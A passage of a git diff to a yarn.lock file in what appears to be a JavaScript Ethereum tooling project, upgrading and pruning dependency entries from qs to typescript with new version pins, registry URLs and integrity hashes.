sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg== -qs@^6.7.0: - version "6.10.2" - resolved "https://registry.yarnpkg.com/qs/-/qs-6.10.2.tgz#c1431bea37fc5b24c5bdbafa20f16bdf2a4b9ffe" - integrity sha512-mSIdjzqznWgfd4pMii7sHtaYF8rx8861hBO80SraY5GT0XQibWZWJSid0avzHGkDIZLImux2S5mXO0Hfct2QCw== +qs@^6.12.3: + version "6.13.1" + resolved "https://registry.yarnpkg.com/qs/-/qs-6.13.1.tgz#3ce5fc72bd3a8171b85c99b93c65dd20b7d1b16e" + integrity sha512-EJPeIn0CYrGu+hli1xilKAPXODtJ12T0sP63Ijx2/khC2JtuaN3JyNIpvmnkmaEtha9ocbG4A4cMcr+TvqvwQg== dependencies: - side-channel "^1.0.4" + side-channel "^1.0.6" qs@~6.5.2: - version "6.5.2" - resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.2.tgz#cb3ae806e8740444584ef154ce8ee98d403f3e36" - integrity sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA== - -querystring@0.2.0: - version "0.2.0" - resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.0.tgz#b209849203bb25df820da756e747005878521620" - integrity sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA= + version "6.5.3" + resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.3.tgz#3aeeffc91967ef6e35c0e488ef46fb296ab76aad" + integrity sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA== -queue-microtask@^1.2.2, queue-microtask@^1.2.3: +queue-microtask@^1.2.3: version "1.2.3" resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243" integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A== @@ -3260,16 +3088,16 @@ randombytes@^2.0.1, randombytes@^2.1.0: safe-buffer "^5.1.0" raw-body@^2.4.1: - version "2.4.2" - resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.4.2.tgz#baf3e9c21eebced59dd6533ac872b71f7b61cb32" - integrity sha512-RPMAFUJP19WIet/99ngh6Iv8fzAbqum4Li7AD6DtGaW2RpMB/11xDoalPiJMTbu6I3hkbMVkATvZrqb9EEqeeQ== + version "2.5.2" + resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.5.2.tgz#99febd83b90e08975087e8f1f9419a149366b68a" + integrity sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA== dependencies: - bytes "3.1.1" - http-errors "1.8.1" + bytes "3.1.2" + http-errors "2.0.0" iconv-lite "0.4.24" unpipe "1.0.0" -readable-stream@^3.1.0, readable-stream@^3.4.0: +readable-stream@^3.1.0, readable-stream@^3.4.0, readable-stream@^3.6.0: version "3.6.2" resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.2.tgz#56a9b36ea965c00c5a93ef31eb111a0f11056967" integrity sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA== @@ -3278,14 +3106,10 @@ readable-stream@^3.1.0, readable-stream@^3.4.0: string_decoder "^1.1.1" util-deprecate "^1.0.1" -readable-stream@^3.6.0: - version "3.6.0" - resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198" - integrity sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA== - dependencies: - inherits "^2.0.3" - string_decoder "^1.1.1" - util-deprecate "^1.0.1" +readdirp@^4.0.1: + version "4.0.2" + resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-4.0.2.tgz#388fccb8b75665da3abffe2d8f8ed59fe74c230a" + integrity sha512-yDMz9g+VaZkqBYS/ozoBJwaBhTbZo3UNYQHNRw1D3UFQB8oHB4uS/tAODO+ZLjGWmUbKnIlOWO+aaIiAxrUWHA== readdirp@~3.6.0: version "3.6.0" @@ -3328,12 +3152,7 @@ request@^2.85.0: require-directory@^2.1.1: version "2.1.1" resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42" - integrity sha1-jGStX9MNqxyXbiNE/+f3kqam30I= - -require-from-string@^2.0.0: - version "2.0.2" - resolved "https://registry.yarnpkg.com/require-from-string/-/require-from-string-2.0.2.tgz#89a7fdd938261267318eafe14f9c32e598c36909" - integrity sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw== + integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q== resolve@1.17.0: version "1.17.0" @@ -3342,13 +3161,6 @@ resolve@1.17.0: dependencies: path-parse "^1.0.6" -rimraf@^2.2.8: - version "2.7.1" - resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.7.1.tgz#35797f13a7fdadc566142c29d4f07ccad483e3ec" - integrity sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w== - dependencies: - glob "^7.1.3" - ripemd160@^2.0.0, ripemd160@^2.0.1: version "2.0.2" resolved "https://registry.yarnpkg.com/ripemd160/-/ripemd160-2.0.2.tgz#a1c1a6f624751577ba5d07914cbc92850585890c" @@ -3371,19 +3183,12 @@ rlp@^2.2.3, rlp@^2.2.4: dependencies: bn.js "^5.2.0" -run-parallel-limit@^1.1.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/run-parallel-limit/-/run-parallel-limit-1.1.0.tgz#be80e936f5768623a38a963262d6bef8ff11e7ba" - integrity sha512-jJA7irRNM91jaKc3Hcl1npHsFLOXOoTkPCUL1JEa1R82O2miplXXRaGdjW/KM/98YQWDhJLiSs793CnXfblJUw== - dependencies: - queue-microtask "^1.2.2" - rustbn.js@~0.2.0: version "0.2.0" resolved "https://registry.yarnpkg.com/rustbn.js/-/rustbn.js-0.2.0.tgz#8082cb886e707155fd1cb6f23bd591ab8d55d0ca" integrity sha512-4VlvkRUuCJvr2J6Y0ImW7NvTCriMi7ErOAqWk1y69vAdoNIzCF3yPmgeNzx+RQTLEDFq5sHfscn1MwHxP9hNfA== -safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@~5.2.0: +safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@^5.2.1, safe-buffer@~5.2.0: version "5.2.1" resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6" integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ== @@ -3408,12 +3213,12 @@ secp256k1@4.0.3: node-gyp-build "^4.2.0" secp256k1@^4.0.1: - version "4.0.2" - resolved "https://registry.yarnpkg.com/secp256k1/-/secp256k1-4.0.2.tgz#15dd57d0f0b9fdb54ac1fa1694f40e5e9a54f4a1" - integrity sha512-UDar4sKvWAksIlfX3xIaQReADn+WFnHvbVujpcbr+9Sf/69odMwy2MUsz5CKLQgX9nsIyrjuxL2imVyoNHa3fg== + version "4.0.4" + resolved "https://registry.yarnpkg.com/secp256k1/-/secp256k1-4.0.4.tgz#58f0bfe1830fe777d9ca1ffc7574962a8189f8ab" + integrity sha512-6JfvwvjUOn8F/jUoBY2Q1v5WY5XS+rj8qSe0v8Y4ezH4InLgTEeOOPQsRll9OV429Pvo6BCHGavIyJfr3TAhsw== dependencies: - elliptic "^6.5.2" - node-addon-api "^2.0.0" + elliptic "^6.5.7" + node-addon-api "^5.0.0" node-gyp-build "^4.2.0" seedrandom@3.0.5: @@ -3427,26 +3232,38 @@ semaphore-async-await@^1.5.1: integrity sha512-b/ptP11hETwYWpeilHXXQiV5UJNJl7ZWWooKRE5eBIYWoom6dZ0SluCIdCtKycsMtZgKWE01/qAw6jblw1YVhg== semver@^5.5.0: - version "5.7.1" - resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7" - integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ== + version "5.7.2" + resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.2.tgz#48d55db737c3287cd4835e17fa13feace1c41ef8" + integrity sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g== semver@^6.3.0: - version "6.3.0" - resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d" - integrity sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw== + version "6.3.1" + resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4" + integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA== -serialize-javascript@6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-6.0.0.tgz#efae5d88f45d7924141da8b5c3a7a7e663fefeb8" - integrity sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag== +serialize-javascript@^6.0.2: + version "6.0.2" + resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-6.0.2.tgz#defa1e055c83bf6d59ea805d8da862254eb6a6c2" + integrity sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g== dependencies: randombytes "^2.1.0" +set-function-length@^1.2.2: + version "1.2.2" + resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz#aac72314198eaed975cf77b2c3b6b880695e5449" + integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg== + dependencies: + define-data-property "^1.1.4" + es-errors "^1.3.0" + function-bind "^1.1.2" + get-intrinsic "^1.2.4" + gopd "^1.0.1" + has-property-descriptors "^1.0.2" + setimmediate@^1.0.5: version "1.0.5" resolved "https://registry.yarnpkg.com/setimmediate/-/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285" - integrity sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU= + integrity sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA== setprototypeof@1.2.0: version "1.2.0" @@ -3461,34 +3278,63 @@ sha.js@^2.4.0, sha.js@^2.4.8: inherits "^2.0.1" safe-buffer "^5.0.1" -side-channel@^1.0.4: - version "1.0.4" - resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.4.tgz#efce5c8fdc104ee751b25c58d4290011fa5ea2cf" - integrity sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw== +side-channel-list@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/side-channel-list/-/side-channel-list-1.0.0.tgz#10cb5984263115d3b7a0e336591e290a830af8ad" + integrity sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA== + dependencies: + es-errors "^1.3.0" + object-inspect "^1.13.3" + +side-channel-map@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/side-channel-map/-/side-channel-map-1.0.1.tgz#d6bb6b37902c6fef5174e5f533fab4c732a26f42" + integrity sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA== + dependencies: + call-bound "^1.0.2" + es-errors "^1.3.0" + get-intrinsic "^1.2.5" + object-inspect "^1.13.3" + +side-channel-weakmap@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz#11dda19d5368e40ce9ec2bdc1fb0ecbc0790ecea" + integrity sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A== + dependencies: + call-bound "^1.0.2" + es-errors "^1.3.0" + get-intrinsic "^1.2.5" + object-inspect "^1.13.3" + side-channel-map "^1.0.1" + +side-channel@^1.0.6: + version "1.1.0" + resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.1.0.tgz#c3fcff9c4da932784873335ec9765fa94ff66bc9" + integrity sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw== dependencies: - call-bind "^1.0.0" - get-intrinsic "^1.0.2" - object-inspect "^1.9.0" + es-errors "^1.3.0" + object-inspect "^1.13.3" + side-channel-list "^1.0.0" + side-channel-map "^1.0.1" + side-channel-weakmap "^1.0.2" -solc@0.7.3: - version "0.7.3" - resolved "https://registry.yarnpkg.com/solc/-/solc-0.7.3.tgz#04646961bd867a744f63d2b4e3c0701ffdc7d78a" - integrity sha512-GAsWNAjGzIDg7VxzP6mPjdurby3IkGCjQcM8GFYZT6RyaoUZKmMU6Y7YwG+tFGhv7dwZ8rmR4iwFDrrD99JwqA== +solc@0.8.15: + version "0.8.15" + resolved "https://registry.yarnpkg.com/solc/-/solc-0.8.15.tgz#d274dca4d5a8b7d3c9295d4cbdc9291ee1c52152" + integrity sha512-Riv0GNHNk/SddN/JyEuFKwbcWcEeho15iyupTSHw5Np6WuXA5D8kEHbyzDHi6sqmvLzu2l+8b1YmL8Ytple+8w== dependencies: command-exists "^1.2.8" - commander "3.0.2" + commander "^8.1.0" follow-redirects "^1.12.1" - fs-extra "^0.30.0" js-sha3 "0.8.0" memorystream "^0.3.1" - require-from-string "^2.0.0" semver "^5.5.0" tmp "0.0.33" -solc@0.8.15: - version "0.8.15" - resolved "https://registry.yarnpkg.com/solc/-/solc-0.8.15.tgz#d274dca4d5a8b7d3c9295d4cbdc9291ee1c52152" - integrity sha512-Riv0GNHNk/SddN/JyEuFKwbcWcEeho15iyupTSHw5Np6WuXA5D8kEHbyzDHi6sqmvLzu2l+8b1YmL8Ytple+8w== +solc@0.8.26: + version "0.8.26" + resolved "https://registry.yarnpkg.com/solc/-/solc-0.8.26.tgz#afc78078953f6ab3e727c338a2fefcd80dd5b01a" + integrity sha512-yiPQNVf5rBFHwN6SIf3TUUvVAFKcQqmSUFeq+fb6pNRCo0ZCgpYOZDi3BVoezCPIAcKrVYd/qXlBLUP9wVrZ9g== dependencies: command-exists "^1.2.8" commander "^8.1.0" @@ -3512,9 +3358,9 @@ source-map@^0.6.0: integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g== sshpk@^1.7.0: - version "1.16.1" - resolved "https://registry.yarnpkg.com/sshpk/-/sshpk-1.16.1.tgz#fb661c0bef29b39db40769ee39fa70093d6f6877" - integrity sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg== + version "1.18.0" + resolved "https://registry.yarnpkg.com/sshpk/-/sshpk-1.18.0.tgz#1663e55cddf4d688b86a46b77f0d5fe363aba028" + integrity sha512-2p2KJZTSqQ/I3+HX42EpYOa2l3f8Erv8MWKsy2I9uf4wA7yFIkXRffYdsx86y6z4vHtV8u7g+pPlr8/4ouAxsQ== dependencies: asn1 "~0.2.3" assert-plus "^1.0.0" @@ -3533,22 +3379,17 @@ stacktrace-parser@^0.1.10: dependencies: type-fest "^0.7.1" -"statuses@>= 1.5.0 < 2": - version "1.5.0" - resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c" - integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow= - -streamsearch@^1.1.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/streamsearch/-/streamsearch-1.1.0.tgz#404dd1e2247ca94af554e841a8ef0eaa238da764" - integrity sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg== +statuses@2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/statuses/-/statuses-2.0.1.tgz#55cb000ccf1d48728bd23c685a063998cf1a1b63" + integrity sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ== string-format@^2.0.0: version "2.0.0" resolved "https://registry.yarnpkg.com/string-format/-/string-format-2.0.0.tgz#f2df2e7097440d3b65de31b6d40d54c96eaffb9b" integrity sha512-bbEs3scLeYNXLecRRuk6uJxdXUSj6le/8rNPHChIJTn2V79aXVTR1EH2OH5zLKKoz0V02fOUKZZcw01pLUShZA== -string-width@^4.1.0, string-width@^4.2.0: +string-width@^4.0.0, string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.2: version "4.2.3" resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010" integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g== @@ -3574,22 +3415,15 @@ strip-ansi@^6.0.0, strip-ansi@^6.0.1: strip-hex-prefix@1.0.0: version "1.0.0" resolved "https://registry.yarnpkg.com/strip-hex-prefix/-/strip-hex-prefix-1.0.0.tgz#0c5f155fef1151373377de9dbb588da05500e36f" - integrity sha1-DF8VX+8RUTczd96du1iNoFUA428= + integrity sha512-q8d4ue7JGEiVcypji1bALTos+0pWtyGlivAWyPuTkHzuTCJqrK9sWxYQZUq6Nq3cuyv3bm734IhHvHtGGURU6A== dependencies: is-hex-prefixed "1.0.0" -strip-json-comments@3.1.1: +strip-json-comments@^3.1.1: version "3.1.1" resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006" integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig== -supports-color@8.1.1: - version "8.1.1" - resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-8.1.1.tgz#cd6fc17e28500cff56c1b86c0a7fd4a54a73005c" - integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q== - dependencies: - has-flag "^4.0.0" - supports-color@^5.3.0: version "5.5.0" resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f" @@ -3604,6 +3438,13 @@ supports-color@^7.1.0: dependencies: has-flag "^4.0.0" +supports-color@^8.1.1: + version "8.1.1" + resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-8.1.1.tgz#cd6fc17e28500cff56c1b86c0a7fd4a54a73005c" + integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q== + dependencies: + has-flag "^4.0.0" + table-layout@^1.0.2: version "1.0.2" resolved "https://registry.yarnpkg.com/table-layout/-/table-layout-1.0.2.tgz#c4038a1853b0136d63365a734b6931cf4fad4a04" @@ -3617,11 +3458,19 @@ table-layout@^1.0.2: test-value@^2.1.0: version "2.1.0" resolved "https://registry.yarnpkg.com/test-value/-/test-value-2.1.0.tgz#11da6ff670f3471a73b625ca4f3fdcf7bb748291" - integrity sha1-Edpv9nDzRxpztiXKTz/c97t0gpE= + integrity sha512-+1epbAxtKeXttkGFMTX9H42oqzOTufR1ceCF+GYA5aOmvaPq9wd4PUS8329fn2RRLGNeUkgRLnVpycjx8DsO2w== dependencies: array-back "^1.0.3" typical "^2.6.0" +tinyglobby@^0.2.6: + version "0.2.10" + resolved "https://registry.yarnpkg.com/tinyglobby/-/tinyglobby-0.2.10.tgz#e712cf2dc9b95a1f5c5bbd159720e15833977a0f" + integrity sha512-Zc+8eJlFMvgatPZTl6A9L/yht8QqdmUNtURHaKZLmKBE12hNPSrqNkUp2cs3M/UKmNVVAMFQYSjYIVHDjW5zew== + dependencies: + fdir "^6.4.2" + picomatch "^4.0.2" + tmp@0.0.33: version "0.0.33" resolved "https://registry.yarnpkg.com/tmp/-/tmp-0.0.33.tgz#6d34335889768d21b2bcda0aa277ced3b1bfadf9" @@ -3652,14 +3501,13 @@ tough-cookie@~2.5.0: tr46@~0.0.3: version "0.0.3" resolved "https://registry.yarnpkg.com/tr46/-/tr46-0.0.3.tgz#8184fd347dac9cdc185992f3a6622e14b9d9ab6a" - integrity sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o= + integrity sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw== ts-command-line-args@^2.2.0: - version "2.4.2" - resolved "https://registry.yarnpkg.com/ts-command-line-args/-/ts-command-line-args-2.4.2.tgz#b4815b23c35f8a0159d4e69e01012d95690bc448" - integrity sha512-mJLQQBOdyD4XI/ZWQY44PIdYde47JhV2xl380O7twPkTQ+Y5vFDHsk8LOeXKuz7dVY5aDCfAzRarNfSqtKOkQQ== + version "2.5.1" + resolved "https://registry.yarnpkg.com/ts-command-line-args/-/ts-command-line-args-2.5.1.tgz#e64456b580d1d4f6d948824c274cf6fa5f45f7f0" + integrity sha512-H69ZwTw3rFHb5WYpQya40YAX2/w7Ut75uUECbgBIsLmM+BNuYnxsltfyyLMxy6sEeKxgijLTnQtLd0nKd6+IYw== dependencies: - "@morgan-stanley/ts-mocking-bird" "^0.6.2" chalk "^4.1.0" command-line-args "^5.1.1" command-line-usage "^6.1.0" @@ -3671,11 +3519,11 @@ ts-essentials@^7.0.1: integrity sha512-8+gr5+lqO3G84KdiTSMRLtuyJ+nTBVRKuCrK4lidMPdVeEp0uqC875uE5NMcaA7YYMN7XsNiFQuMvasF8HT/xQ== ts-node@^10.2.1: - version "10.4.0" - resolved "https://registry.yarnpkg.com/ts-node/-/ts-node-10.4.0.tgz#680f88945885f4e6cf450e7f0d6223dd404895f7" - integrity sha512-g0FlPvvCXSIO1JDF6S232P5jPYqBkRL9qly81ZgAOSU7rwI0stphCgd2kLiCrU9DjQCrJMWEqcNSjQL02s6d8A== + version "10.9.2" + resolved "https://registry.yarnpkg.com/ts-node/-/ts-node-10.9.2.tgz#70f021c9e185bccdca820e26dc413805c101c71f" + integrity sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ== dependencies: - "@cspotcode/source-map-support" "0.7.0" + "@cspotcode/source-map-support" "^0.8.0" "@tsconfig/node10" "^1.0.7" "@tsconfig/node12" "^1.0.7" "@tsconfig/node14" "^1.0.0" @@ -3686,6 +3534,7 @@ ts-node@^10.2.1: create-require "^1.1.0" diff "^4.0.1" make-error "^1.1.1" + v8-compile-cache-lib "^3.0.1" yn "3.1.1" tslib@^1.9.3: @@ -3696,12 +3545,12 @@ tslib@^1.9.3: tsort@0.0.1: version "0.0.1" resolved "https://registry.yarnpkg.com/tsort/-/tsort-0.0.1.tgz#e2280f5e817f8bf4275657fd0f9aebd44f5a2786" - integrity sha1-4igPXoF/i/QnVlf9D5rr1E9aJ4Y= + integrity sha512-Tyrf5mxF8Ofs1tNoxA13lFeZ2Zrbd6cKbuH3V+MQ5sb6DtBj5FjrXVsRWT8YvNAQTqNoz66dz1WsbigI22aEnw== tunnel-agent@^0.6.0: version "0.6.0" resolved "https://registry.yarnpkg.com/tunnel-agent/-/tunnel-agent-0.6.0.tgz#27a5dea06b36b04a0a9966774b290868f0fc40fd" - integrity sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0= + integrity sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w== dependencies: safe-buffer "^5.0.1" @@ -3713,17 +3562,22 @@ tweetnacl-util@^0.15.1: tweetnacl@^0.14.3, tweetnacl@~0.14.0: version "0.14.5" resolved "https://registry.yarnpkg.com/tweetnacl/-/tweetnacl-0.14.5.tgz#5ae68177f192d4456269d108afa93ff8743f4f64" - integrity sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q= + integrity sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA== tweetnacl@^1.0.3: version "1.0.3" resolved "https://registry.yarnpkg.com/tweetnacl/-/tweetnacl-1.0.3.tgz#ac0af71680458d8a6378d0d0d050ab1407d35596" integrity sha512-6rt+RN7aOi1nGMyC4Xa5DdYiukl2UWCbcJft7YhxReBGQD7OAM8Pbxw6YMo4r2diNEA8FEmu32YOn9rhaiE5yw== -type-detect@4.0.8, type-detect@^4.0.0, type-detect@^4.0.5: - version "4.0.8" - resolved "https://registry.yarnpkg.com/type-detect/-/type-detect-4.0.8.tgz#7646fb5f18871cfbb7749e69bd39a6388eb7450c" - integrity sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g== +type-detect@^4.0.0, type-detect@^4.1.0: + version "4.1.0" + resolved "https://registry.yarnpkg.com/type-detect/-/type-detect-4.1.0.tgz#deb2453e8f08dcae7ae98c626b13dddb0155906c" + integrity sha512-Acylog8/luQ8L7il+geoSxhEkazvkslg7PSNKOX59mbB9cOveP5aq9h74Y7YU8yDpJwetzQQrfIwtf4Wp4LKcw== + +type-fest@^0.20.2: + version "0.20.2" + resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.20.2.tgz#1bf207f4b28f91583666cb5fbd327887301cd5f4" + integrity sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ== type-fest@^0.21.3: version "0.21.3" @@ -3757,9 +3611,9 @@ typechain@^5.1.2: ts-essentials "^7.0.1" typechain@^8.0.0: - version "8.1.1" - resolved "https://registry.yarnpkg.com/typechain/-/typechain-8.1.1.tgz#9c2e8012c2c4c586536fc18402dcd7034c4ff0bd" - integrity sha512-uF/sUvnXTOVF2FHKhQYnxHk4su4JjZR8vr4mA2mBaRwHTbwh0jIlqARz9XJr1tA0l7afJGvEa1dTSi4zt039LQ== + version "8.3.2" + resolved "https://registry.yarnpkg.com/typechain/-/typechain-8.3.2.tgz#1090dd8d9c57b6ef2aed3640a516bdbf01b00d73" + integrity sha512-x/sQYr5w9K7yv3es7jo4KTX05CLxOf7TRWwoHlrjRh8H82G64g+k7VuWPJlgMo6qrjfCulOdfBjiaDtmhFYD/Q== dependencies: "@types/prettier" "^2.1.1" debug "^4.3.1" @@ -3773,14 +3627,14 @@ typechain@^8.0.0: ts-essentials "^7.0.1" typescript@^4.5.3: - version "4.5.4" - resolved "https://registry.yarnpkg.com/typescript/-/typescript-4.5.4.tgz#a17d3a0263bf5c8723b9c52f43c5084edf13c2e8" - integrity sha512-VgYs2A2QIRuGphtzFV7aQJduJ2gyfTljngLzjpfW9FoYZF6xuw1W0vW9ghCKLfcWrCFxK81CSGRAvS1pn4fIUg== + version "4.9.5" + resolved 